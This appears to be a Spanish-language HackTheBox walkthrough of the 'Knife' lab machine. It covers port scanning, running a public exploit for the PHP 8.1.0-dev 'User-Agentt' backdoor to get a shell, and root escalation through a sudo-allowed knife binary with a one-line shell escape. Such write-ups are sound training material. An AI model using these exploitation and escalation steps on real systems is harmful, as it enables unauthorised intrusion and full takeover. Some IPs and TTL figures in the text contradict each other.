Inicio HTB - Knife
Entrada
Cancelar

HTB - Knife

¡Hola! Vamos a resolver de la máquina Knife de dificultad “Fácil” de la plataforma HackTheBox.

Técnicas Vistas:

  • PHP 8.1.0-dev - ‘User-Agent’ Remote Code Execution [RCE]
  • Abusing Sudoers Privilege (Knife Binary) [Privilege Escalation]

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Knife. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.242
PING 10.10.10.242 (10.10.10.242) 56(84) bytes of data.
64 bytes from 10.10.10.226: icmp_seq=1 ttl=63 time=42.3 ms

--- 10.10.10.242 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.242 -oG allPorts

PORT     STATE SERVICE REASON
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
nmap -sCV -p22,80 10.10.10.242 -oN targeted

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
3
❯ whatweb http://10.10.10.242

http://10.10.10.242 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.242], PHP[8.1.0-dev], Script, Title[Emergent Medical Idea], X-Powered-By[PHP/8.1.0-dev]

Accedemos al servicio web y vemos la página principal. Poco podemos hacer no hay ningún elemento clickable

Observando las tecnologías del servicio web vemos una versión de PHP 8.1.0-dev por lo que procedemos a buscar vulnerabilidades asociadas con la herramienta searchsploit

1
2
3
4
5
6
7
❯ searchsploit php 8.1.0-dev
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                           |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution                                                                                                      | php/webapps/49933.py
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Observando el código del script vemos que esta versión de PHP es vulnerable a un backdoor. Nos traemos el script a nuestro directorio de trabajo exploits y lo ejecutamos

1
2
3
4
5
6
7
8
 python3 exploit.py
Enter the full host url:
http://10.129.77.254

Interactive shell is opened on http://10.10.10.242 
Can't acces tty; job crontol turned off.
$ whoami
james

Hemos ganado acceso con el usuario james. Para trabajar más cómodamente nos ponemos en escucha en el puerto 443 y entablamos una reverse shell con plena capacidad de maniobra

La flag de usuario la encontramos en la carpeta home

1
2
james@knife:/$ cat /home/james/user.txt 
e2c6a36c07e132a56***************

Escalada Privilegios


Listamos privilegios de sudo asignados y encontramos un archivo propietario de root sobre el cual tenemos capacidad de escritura

1
2
3
4
5
6
7
8
james@knife:/$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife
james@knife:/$ ls -l /usr/bin/knife 
lrwxrwxrwx 1 root root 31 May  7  2021 /usr/bin/knife -> /opt/chef-workstation/bin/knife

Consultamos GTFOBins y encontramos un oneliner que nos otorga privilegios de root

Ejecutamos dicha instrucción y escalamos privilegios. la flag se encuentra en el directorio /root

1
2
3
4
5
james@knife:/$ sudo knife exec -E 'exec "/bin/sh"'
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
4fcea36521dd30958***************

Hemos completado la máquina Knife de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.